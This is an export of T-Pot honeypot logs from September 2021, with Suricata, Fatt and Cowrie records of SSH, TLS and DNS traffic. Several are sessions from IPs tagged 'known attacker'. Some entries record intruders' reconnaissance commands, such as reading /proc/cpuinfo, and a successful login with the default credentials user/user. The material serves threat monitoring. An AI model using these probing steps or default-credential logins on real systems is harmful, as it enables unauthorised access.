28587	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:19:32.971813+03	2021-09-20 14:30:03.038524+03	{"_id": "1QbuAnwBvYTbRNuEvy9y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 14392, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1474, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1027577070537762, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 40162, "timestamp": "2021-09-20T11:19:32.971813Z", "@timestamp": "2021-09-20T11:19:32.971Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28588	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:19:33.043798+03	2021-09-20 14:30:03.039524+03	{"_id": "2AbuAnwBvYTbRNuEwC-1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35062, "dest_port": 443, "timestamp": "2021-09-20T11:19:33.043798", "@timestamp": "2021-09-20T11:19:33.043Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28589	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:19:34.442567+03	2021-09-20 14:30:03.040523+03	{"_id": "3gbuAnwBvYTbRNuExC-d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 24880, "dest_port": 22, "timestamp": "2021-09-20T11:19:34.442567", "@timestamp": "2021-09-20T11:19:34.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28590	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:19:34.173965+03	2021-09-20 14:30:03.042524+03	{"_id": "4AbuAnwBvYTbRNuExS-G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:24880 (192.168.176.2:22) [session: db6a11a83147]", "session": "db6a11a83147", "@version": "1", "protocol": "ssh", "src_port": 24880, "dest_port": 22, "timestamp": "2021-09-20T11:19:34.173965Z", "@timestamp": "2021-09-20T11:19:34.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28591	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:19:29.377346+03	2021-09-20 14:30:03.044524+03	{"_id": "0wbuAnwBvYTbRNuEsS_8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "31ce5f7846f5", "@version": "1", "duration": 2.7646005153656006, "timestamp": "2021-09-20T11:19:29.377346Z", "@timestamp": "2021-09-20T11:19:29.377Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28592	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:19:32.969762+03	2021-09-20 14:30:03.045524+03	{"_id": "1gbuAnwBvYTbRNuEvy9y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 14392, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1027577070537762, "@version": "1", "in_iface": "enp5s0", "src_port": 40162, "dest_port": 53, "timestamp": "2021-09-20T11:19:32.969762Z", "@timestamp": "2021-09-20T11:19:32.969Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28593	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:19:33.083399+03	2021-09-20 14:30:03.047523+03	{"_id": "1wbuAnwBvYTbRNuEwC-1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35062, "timestamp": "2021-09-20T11:19:33.083399", "@timestamp": "2021-09-20T11:19:33.083Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28595	5.188.62.253	109.199.241.180	Cowrie	2021-09-20 14:20:09.93452+03	2021-09-20 14:30:03.049523+03	{"_id": "mQbvAnwBvYTbRNuETjBX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'GET / HTTP/1.0\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.253", "dest_ip": "ya.ru", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to ya.ru:80 with data b'GET / HTTP/1.0\\\\r\\\\n\\\\r\\\\n'", "session": "a9e00fab7de6", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:20:09.934520Z", "@timestamp": "2021-09-20T11:20:09.934Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
28596	5.188.62.253	109.199.241.180	Cowrie	2021-09-20 14:20:09.590358+03	2021-09-20 14:30:03.050523+03	{"_id": "lwbvAnwBvYTbRNuETjBX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "arcfour", "3des-cbc"], "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "fb9ea37f5a326a02ad94bd4e431b024c", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.253", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: fb9ea37f5a326a02ad94bd4e431b024c", "session": "a9e00fab7de6", "@version": "1", "timestamp": "2021-09-20T11:20:09.590358Z", "@timestamp": "2021-09-20T11:20:09.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28597	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:09.470585+03	2021-09-20 14:30:03.052524+03	{"_id": "oAbvAnwBvYTbRNuETjBX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:09.470585Z", "@timestamp": "2021-09-20T11:20:09.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28598	5.188.62.253	109.199.241.180	Cowrie	2021-09-20 14:20:09.8075+03	2021-09-20 14:30:03.053523+03	{"_id": "oQbvAnwBvYTbRNuETjBX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.253", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "a9e00fab7de6", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:20:09.807500Z", "@timestamp": "2021-09-20T11:20:09.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
28599	5.188.62.253	109.199.241.180	Suricata	2021-09-20 14:20:09.589589+03	2021-09-20 14:30:03.054524+03	{"_id": "ogbvAnwBvYTbRNuEUDAP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.253", "dest_ip": "192.168.20.116", "flow_id": 1232698268577571, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51564, "dest_port": 22, "timestamp": "2021-09-20T11:20:09.589589Z", "@timestamp": "2021-09-20T11:20:09.589Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28600	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:10.907794+03	2021-09-20 14:30:03.055525+03	{"_id": "pQbvAnwBvYTbRNuEUjA_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:10.907794Z", "@timestamp": "2021-09-20T11:20:10.907Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28601	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:11.841977+03	2021-09-20 14:30:03.056524+03	{"_id": "qwbvAnwBvYTbRNuEVjAo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:11.841977Z", "@timestamp": "2021-09-20T11:20:11.841Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28602	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:12.782022+03	2021-09-20 14:30:03.057523+03	{"_id": "rQbvAnwBvYTbRNuEWjAQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:12.782022Z", "@timestamp": "2021-09-20T11:20:12.782Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28603	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:12.782566+03	2021-09-20 14:30:03.059524+03	{"_id": "rgbvAnwBvYTbRNuEWjAQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:12.782566Z", "@timestamp": "2021-09-20T11:20:12.782Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28604	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:20:13.403804+03	2021-09-20 14:30:03.060524+03	{"_id": "rwbvAnwBvYTbRNuEWzDH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 512969124194932, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44276, "dest_port": 22, "timestamp": "2021-09-20T11:20:13.403804Z", "@timestamp": "2021-09-20T11:20:13.403Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28605	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:20:13.406536+03	2021-09-20 14:30:03.061524+03	{"_id": "sAbvAnwBvYTbRNuEXTAI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44276, "timestamp": "2021-09-20T11:20:13.406536", "@timestamp": "2021-09-20T11:20:13.406Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28611	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:04.699219+03	2021-09-20 14:30:03.068523+03	{"_id": "bwbvAnwBvYTbRNuEOjDL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:04.699219Z", "@timestamp": "2021-09-20T11:20:04.699Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28606	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:13.333222+03	2021-09-20 14:30:03.062523+03	{"_id": "uAbvAnwBvYTbRNuEXTD6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "117.22.230.94", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.551281213760376, "duplicate": true, "timestamp": "2021-09-20T11:20:13.333222Z", "@timestamp": "2021-09-20T11:20:13.333Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
